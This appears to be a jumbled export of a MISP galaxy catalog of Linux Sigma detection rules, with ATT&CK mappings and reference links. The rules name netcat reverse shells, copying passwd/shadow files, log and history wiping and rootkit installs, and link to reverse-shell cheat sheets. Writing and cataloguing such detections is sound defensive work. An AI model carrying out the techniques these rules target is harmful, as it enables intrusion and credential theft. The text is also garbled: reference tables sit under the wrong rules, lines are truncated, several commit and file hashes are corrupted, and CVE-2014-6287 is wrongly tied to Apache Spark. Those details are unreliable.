<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cur_usage.yml">Internal Research</a></td>
</tr>
</tbody>
</table>
ESXi System Information Discovery Via ESXCLI

Detects execution of the "esxcli" command with the "system" flag in order to retrieve information about the different component of the system. Such as accounts, modules, NTP, etc.

The tag is: misp-galaxy:sigma-rules="ESXi System Information Discovery Via ESXCLI"

View relationships graph

ESXi System Information Discovery Via ESXCLI has relationships with:


Potential Linux Process Code Injection Via DD Utility

Detects the injection of code by overwriting the memory map of a Linux process using the "dd" Linux command.

The tag is: misp-galaxy:sigma-rules="Potential Linux Process Code Injection Via DD Utility"

View relationships graph

Potential Linux Process Code Injection Via DD Utility has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Proc Memory - T1055.009" with estimative-language:likelihood-probability="almost-certain"

Links

Table 10964. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_system_discovery.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_system_discovery.yml</a></td>
</tr>
</tbody>
</table>

Table 10965. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/AonCyberLabs/Cexigua/blob/34d338620afae4c6335ba8d8d499e1d7d3d5d7b5/overwrite.sh">https://github.com/AonCyberLabs/Cexigua/blob/34d338620afae4c6335ba8d8d499e1d7d3d5d7b5/overwrite.sh</a></td>
</tr>
</tbody>
</table>
Touch Suspicious Service File

Detects usage of the "touch" process in service file.

The tag is: misp-galaxy:sigma-rules="Touch Suspicious Service File"

View relationships graph

Touch Suspicious Service File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"

Table 10966. Table References

Links
- https://blogs.blackberry.com/
- https://twitter.com/Joseliyo_Jstnk/status/16201310347482144
- https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_touch_susp.yml

ESXi Syslog Configuration Change Via ESXCLI

Detects changes to the ESXi syslog configuration via "esxcli"

The tag is: misp-galaxy:sigma-rules="ESXi Syslog Configuration Change Via ESXCLI"

View relationships graph

ESXi Syslog Configuration Change Via ESXCLI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Impair Command History Logging - T1562.003" with estimative-language:likelihood-probability="almost-certain"

Table 10967. Table References

Links
Bash Interactive Shell

Detects execution of the bash shell with the interactive flag "-i".

The tag is: `misp-galaxy: sigma-rules="Bash Interactive Shell"`

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</a></td>
</tr>
<tr>
<td><a href="https://www.revshells.com/">https://www.revshells.com/</a></td>
</tr>
<tr>
<td><a href="https://linux.die.net/man/1/bash">https://linux.die.net/man/1/bash</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_bash_interactive_shell.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_bash_interactive_shell.yml</a></td>
</tr>
</tbody>
</table>

Copy Passwd Or Shadow From TMP Path

Detects when the file "passwd" or "shadow" is copied from tmp path

The tag is: `misp-galaxy: sigma-rules="Copy Passwd Or Shadow From TMP Path"`

View relationships graph

Copy Passwd Or Shadow From TMP Path has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="Credentials In Files - T1552.001"` with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blogs.blackberry.com/">https://blogs.blackberry.com/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144">https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cp_passwd_or_shadow_tmp.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cp_passwd_or_shadow_tmp.yml</a></td>
</tr>
</tbody>
</table>

Disable Or Stop Services

Detects the usage of utilities such as 'systemctl', 'service'...etc to stop or disable tools and services

The tag is: `misp-galaxy: sigma-rules="Disable Or Stop Services"`
ESXi VM List Discovery Via ESXCLI

Detects execution of the "esxcli" command with the "vm" flag in order to retrieve information about the installed VMs.

The tag is: misp-galaxy:sigma-rules="ESXi VM List Discovery Via ESXCLI"

View relationships graph

ESXi VM List Discovery Via ESXCLI has relationships with:


Table 10971. Table References

Commands to Clear or Remove the Syslog

Detects specific commands commonly used to remove or empty the syslog. Which is often used by attacker as a method to hide their tracks

The tag is: misp-galaxy:sigma-rules="Commands to Clear or Remove the Syslog"

View relationships graph

Commands to Clear or Remove the Syslog has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clear Linux or Mac System Logs - T1070.002" with
ESXi Storage Information Discovery Via ESXCLI

Detects execution of the "esxcli" command with the "storage" flag in order to retrieve information about the storage status and other related information. Seen used by malware such as DarkSide and LockBit.

The tag is: *misp-galaxy:sigma-rules="ESXi Storage Information Discovery Via ESXCLI"*

View relationships graph

ESXi Storage Information Discovery Via ESXCLI has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033"* with *estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007"* with *estimative-language:likelihood-probability="almost-certain"

ESXi Network Configuration Discovery Via ESXCLI

Detects execution of the "esxcli" command with the "network" flag in order to retrieve information about the network configuration.

The tag is: *misp-galaxy:sigma-rules="ESXi Network Configuration Discovery Via ESXCLI"*

View relationships graph
ESXi Network Configuration Discovery Via ESXCLI has relationships with:


Table 10974. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Suspicious Java Children Processes

Detects java process spawning suspicious children

The tag is: *misp-galaxy:sigma-rules=*"Suspicious Java Children Processes"

View relationships graph

Suspicious Java Children Processes has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 10975. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.tecmint.com/different-types-of-linux-shells/">https://www.tecmint.com/different-types-of-linux-shells/</a></td>
</tr>
</tbody>
</table>

Potential Container Discovery Via Inodes Listing

Detects listing of the inodes of the "/" directory to determine if we are running inside of a container.

The tag is: *misp-galaxy:sigma-rules=*"Potential Container Discovery Via Inodes Listing"

View relationships graph

Potential Container Discovery Via Inodes Listing has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 10976. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.skyplabs.net/posts/container-detection/">https://blog.skyplabs.net/posts/container-detection/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_inod_listing.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_inod_listing.yml</a></td>
</tr>
</tbody>
</table>

Process Discovery

Detects process discovery commands. Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network.

The tag is: misp-galaxy:sigma-rules="Process Discovery"

View relationships graph

Process Discovery has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

Table 10977. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1057/T1057.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1057/T1057.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_process_discovery.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_process_discovery.yml</a></td>
</tr>
</tbody>
</table>

Remove Immutable File Attribute

Detects usage of the 'chattr' utility to remove immutable file attribute.

The tag is: misp-galaxy:sigma-rules="Remove Immutable File Attribute"

View relationships graph

Remove Immutable File Attribute has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"

Table 10978. Table References
Potential Suspicious Change To Sensitive/Critical Files

Detects changes of sensitive and critical files. Monitors files that you don’t expect to change without planning on Linux system.

The tag is: `misp-galaxy:sigma-rules="Potential Suspicious Change To Sensitive/Critical Files"`

View relationships graph

Potential Suspicious Change To Sensitive/Critical Files has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 10979. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/defender-for-cloud/file-integrity-monitoring-overview#which-files-should-i-monitor">https://docs.microsoft.com/en-us/azure/defender-for-cloud/file-integrity-monitoring-overview#which-files-should-i-monitor</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_sus_p_sensitive_file_access.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_sus_p_sensitive_file_access.yml</a></td>
</tr>
</tbody>
</table>

OMIGOD SCX RunAsProvider ExecuteShellCommand

Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.

The tag is: `misp-galaxy:sigma-rules="OMIGOD SCX RunAsProvider ExecuteShellCommand"`

View relationships graph

OMIGOD SCX RunAsProvider ExecuteShellCommand has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203"` with estimative-language:likelihood-probability="almost-certain"
Potential Netcat Reverse Shell Execution

Detects execution of netcat with the "-e" flag followed by common shells. This could be a sign of a potential reverse shell setup.

The tag is: `misp-galaxy:sigma-rules="Potential Netcat Reverse Shell Execution"`

View relationships graph

Potential Netcat Reverse Shell Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Nohup Execution

Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments

The tag is: `misp-galaxy:sigma-rules="Nohup Execution"`

View relationships graph

Nohup Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"`
### Install Root Certificate

Detects installation of new certificate on the system which attackers may use to avoid warnings when connecting to controlled web servers or C2s

The tag is: `misp-galaxy:sigma-rules="Install Root Certificate"`

**View relationships graph**

Install Root Certificate has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004"` with `estimative-language:likelihood-probability="almost-certain"`

---

### Remove Scheduled Cron Task/Job

Detects usage of the 'crontab' utility to remove the current crontab. This is a common occurrence where cryptocurrency miners compete against each other by removing traces of other miners to hijack the maximum amount of resources possible

The tag is: `misp-galaxy:sigma-rules="Remove Scheduled Cron Task/Job"`

---

#### Table 10982. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.computerhope.com/unix/unohup.htm">https://www.computerhope.com/unix/unohup.htm</a></td>
</tr>
<tr>
<td><a href="https://gtfobins.github.io/gtfobins/nohup/">https://gtfobins.github.io/gtfobins/nohup/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_nohup.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_nohup.yml</a></td>
</tr>
</tbody>
</table>

#### Table 10983. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdec3742bfef365f3ea9/atomics/T1553.004/T1553.004.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdec3742bfef365f3ea9/atomics/T1553.004/T1553.004.md</a></td>
</tr>
</tbody>
</table>

#### Table 10984. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Potentially Suspicious Named Pipe Created Via Mkfifo

Detects the creation of a new named pipe using the "mkfifo" utility in a potentially suspicious location.

The tag is: `misp-galaxy:sigma-rules="Potentially Suspicious Named Pipe Created Via Mkfifo"`

Table 10985. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://dev.to/0xbf/use-mkfifo-to-create-named-pipe-linux-tips-5bbk">https://dev.to/0xbf/use-mkfifo-to-create-named-pipe-linux-tips-5bbk</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally">https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_mkfifo_named_pipe_creation_susp_location.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_mkfifo_named_pipe_creation_susp_location.yml</a></td>
</tr>
</tbody>
</table>

Connection Proxy

Detects setting proxy configuration

The tag is: `misp-galaxy:sigma-rules="Connection Proxy"`

View relationships graph

Connection Proxy has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Proxy - T1090"` with estimative-language:likelihood-probability="almost-certain"

Table 10986. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1090/">https://attack.mitre.org/techniques/T1090/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_proxy_connection.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_proxy_connection.yml</a></td>
</tr>
</tbody>
</table>

ESXi VSAN Information Discovery Via ESXCLI

Detects execution of the "esxcli" command with the "vsan" flag in order to retrieve information about virtual storage. Seen used by malware such as DarkSide.

The tag is: `misp-galaxy:sigma-rules="ESXi VSAN Information Discovery Via ESXCLI"`

View relationships graph

ESXi VSAN Information Discovery Via ESXCLI has relationships with:

Docker Container Discovery Via Dockerenv Listing

Detects listing or file reading of ".dockerenv" which can be a sign of potential container discovery.

The tag is: misp-galaxy:sigma-rules="Docker Container Discovery Via Dockerenv Listing"

View relationships graph

Docker Container Discovery Via Dockerenv Listing has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

ESXi Account Creation Via ESXCLI

Detects user account creation on ESXi system via esxcli.

The tag is: misp-galaxy:sigma-rules="ESXi Account Creation Via ESXCLI"

View relationships graph

ESXi Account Creation Via ESXCLI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
Enable BPF Kprobes Tracing

Detects common command used to enable bpf kprobes tracing

The tag is: *misp-galaxy:sigma-rules="Enable BPF Kprobes Tracing"*

File Deletion

Detects file deletion using "rm", "shred" or "unlink" commands which are used often by adversaries to delete files left behind by the actions of their intrusion activity

The tag is: *misp-galaxy:sigma-rules="File Deletion"*

View relationships graph

File Deletion has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
Potential Linux Amazon SSM Agent Hijacking

Detects potential Amazon SSM agent hijack attempts as outlined in the Mitiga research report.

The tag is: `misp-galaxy:sigma-rules="Potential Linux Amazon SSM Agent Hijacking"`

View relationships graph

Potential Linux Amazon SSM Agent Hijacking has relationships with:


Table 10992. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.helpnetsecurity.com/2023/08/02/aws-instances-attackers-access/">https://www.helpnetsecurity.com/2023/08/02/aws-instances-attackers-access/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan">https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_ssm_agent_abuse.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_ssm_agent_abuse.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

ESXi Admin Permission Assigned To Account Via ESXCLI

Detects execution of the "esxcli" command with the "system" and "permission" flags in order to assign admin permissions to an account.

The tag is: `misp-galaxy:sigma-rules="ESXi Admin Permission Assigned To Account Via ESXCLI"`

Table 10993. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_permission_change_admin.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_permission_change_admin.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

Container Residence Discovery Via Proc Virtual FS

Detects potential container discovery via listing of certain kernel features in the "/proc" virtual filesystem

The tag is: `misp-galaxy:sigma-rules="Container Residence Discovery Via Proc Virtual FS"`
View relationships graph

Container Residence Discovery Via Proc Virtual FS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 10994. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.skyplabs.net/posts/container-detection/">https://blog.skyplabs.net/posts/container-detection/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_container_residence_discovery.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_container_residence_discovery.yml</a></td>
</tr>
</tbody>
</table>

Mount Execution With Hidepid Parameter

Detects execution of the "mount" command with "hidepid" parameter to make invisible processes to other users from the system

The tag is: misp-galaxy:sigma-rules="Mount Execution With Hidepid Parameter"

View relationships graph

Mount Execution With Hidepid Parameter has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564" with estimative-language:likelihood-probability="almost-certain"

Table 10995. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blogs.blackberry.com/">https://blogs.blackberry.com/</a></td>
</tr>
<tr>
<td><a href="https://www.cyberciti.biz/faq/linux-hide-processes-from-other-users/">https://www.cyberciti.biz/faq/linux-hide-processes-from-other-users/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144">https://twitter.com/Joseliyo_Jstnk/status/1620131033474822144</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_mount_hidepid.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_mount_hidepid.yml</a></td>
</tr>
</tbody>
</table>

Download File To Potentially Suspicious Directory Via Wget

Detects the use of wget to download content to a suspicious directory

The tag is: misp-galaxy:sigma-rules="Download File To Potentially Suspicious Directory Via Wget"

View relationships graph
Download File To Potentially Suspicious Directory Via Wget has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

### Table 10996. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eeee5002eed6f26d665a8b791c472ad154585d1/detection">https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eeee5002eed6f26d665a8b791c472ad154585d1/detection</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cfffcd0ab4a391c8b3/detection">https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cfffcd0ab4a391c8b3/detection</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_wget_download_suspicious_directory.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_wget_download_suspicious_directory.yml</a></td>
</tr>
</tbody>
</table>

### Linux Doas Tool Execution

Detects the doas tool execution in linux host platform. This utility tool allow standard users to perform tasks as root, the same way sudo does.

The tag is: `misp-galaxy:sigma-rules="Linux Doas Tool Execution"`

View relationships graph

Linux Doas Tool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"

### Table 10997. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://research.splunk.com/endpoint/linux_doas_tool_execution/">https://research.splunk.com/endpoint/linux_doas_tool_execution/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_doas_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_doas_execution.yml</a></td>
</tr>
</tbody>
</table>

### History File Deletion

Detects events in which a history file gets deleted, e.g. the `~/bash_history` to remove traces of malicious activity

The tag is: `misp-galaxy:sigma-rules="History File Deletion"`

View relationships graph
History File Deletion has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001" with estimative-language:likelihood-probability="almost-certain"

### Table 10998. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7d05f6057dfcdd3742bf365fe92a9/atomics/T1552.003/T1552.003.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7d05f6057dfcdd3742bf365fe92a9/atomics/T1552.003/T1552.003.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/sleventyeleven/linuxprivchecker/">https://github.com/sleventyeleven/linuxprivchecker/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_history_delete.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_history_delete.yml</a></td>
</tr>
</tbody>
</table>

### Cat Sudoers

Detects the execution of a cat /etc/sudoers to list all users that have sudo rights

The tag is: misp-galaxy:sigma-rules="Cat Sudoers"

View relationships graph

Cat Sudoers has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Client Configurations - T1592.004" with estimative-language:likelihood-probability="almost-certain"

### Table 10999. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/sleventyeleven/linuxprivchecker/">https://github.com/sleventyeleven/linuxprivchecker/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cat_sudoers.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cat_sudoers.yml</a></td>
</tr>
</tbody>
</table>

### Suspicious Git Clone - Linux

Detects execution of "git" in order to clone a remote repository that contain suspicious keywords which might be suspicious

The tag is: misp-galaxy:sigma-rules="Suspicious Git Clone - Linux"

View relationships graph

Suspicious Git Clone - Linux has relationships with:


### Table 11000. Table References
Setuid and Setgid

Detects suspicious change of file privileges with chown and chmod commands

The tag is: *misp-galaxy:sigma-rules="Setuid and Setgid"

View relationships graph

Setuid and Setgid has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1548.001" with estimative-language:likelihood-probability="almost-certain"

Table 11001. Table References

Links

- [https://attack.mitre.org/techniques/T1548/001/](https://attack.mitre.org/techniques/T1548/001/)
- [https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1548.001/T1548.001.md](https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1548.001/T1548.001.md)
- [https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_setgid_setuid.yml](https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_setgid_setuid.yml)

Apache Spark Shell Command Injection - ProcessCreation

Detects attempts to exploit an apache spark server via CVE-2014-6287 from a commandline perspective

The tag is: *misp-galaxy:sigma-rules="Apache Spark Shell Command Injection - ProcessCreation"

View relationships graph

Apache Spark Shell Command Injection - ProcessCreation has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 11002. Table References

Links
Potential GobRAT File Discovery Via Grep

Detects the use of grep to discover specific files created by the GobRAT malware

The tag is: `misp-galaxy:sigma-rules="Potential GobRAT File Discovery Via Grep"`

View relationships graph

Potential GobRAT File Discovery Via Grep has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"` with estimative-language:likelihood-probability="almost-certain"

Table 11003. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blogs.jpcert.or.jp/en/2023/05/gobrat.html">https://blogs.jpcert.or.jp/en/2023/05/gobrat.html</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186ee5002eed6f26d665a8b791c472ad154585d1/detection">https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186ee5002eed6f26d665a8b791c472ad154585d1/detection</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2c9bcd0ab4a391c8b3/detection">https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2c9bcd0ab4a391c8b3/detection</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_malware_gobrat_grep_payload_discovery.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_malware_gobrat_grep_payload_discovery.yml</a></td>
</tr>
</tbody>
</table>

Potentially Suspicious Execution From Tmp Folder

Detects a potentially suspicious execution of a process located in the '/tmp/' folder

The tag is: `misp-galaxy:sigma-rules="Potentially Suspicious Execution From Tmp Folder"`

View relationships graph

Potentially Suspicious Execution From Tmp Folder has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Masquerading - T1036"` with estimative-language:likelihood-probability="almost-certain"

Table 11004. Table References
Local Groups Discovery - Linux

Detects enumeration of local system groups. Adversaries may attempt to find local system groups and permission settings

The tag is: `misp-galaxy:sigma-rules="Local Groups Discovery - Linux"`

View relationships graph

Local Groups Discovery - Linux has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001"` with estimative-language:likelihood-probability="almost-certain"

Table 11005. Table References

User Added To Root/Sudoers Group Using Usermod

Detects usage of the "usermod" binary to add users to the root or suoders groups

The tag is: `misp-galaxy:sigma-rules="User Added To Root/Sudoers Group Using Usermod"`

Table 11006. Table References
**Triple Cross eBPF Rootkit Install Commands**

Detects default install commands of the Triple Cross eBPF rootkit based on the "deployer.sh" script.

The tag is: `misp-galaxy:sigma-rules="Triple Cross eBPF Rootkit Install Commands"`

**View relationships graph**

Triple Cross eBPF Rootkit Install Commands has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Rootkit - T1014"` with estimative-language:likelihood-probability="almost-certain"

**Table 11007. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh">https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh</a></td>
</tr>
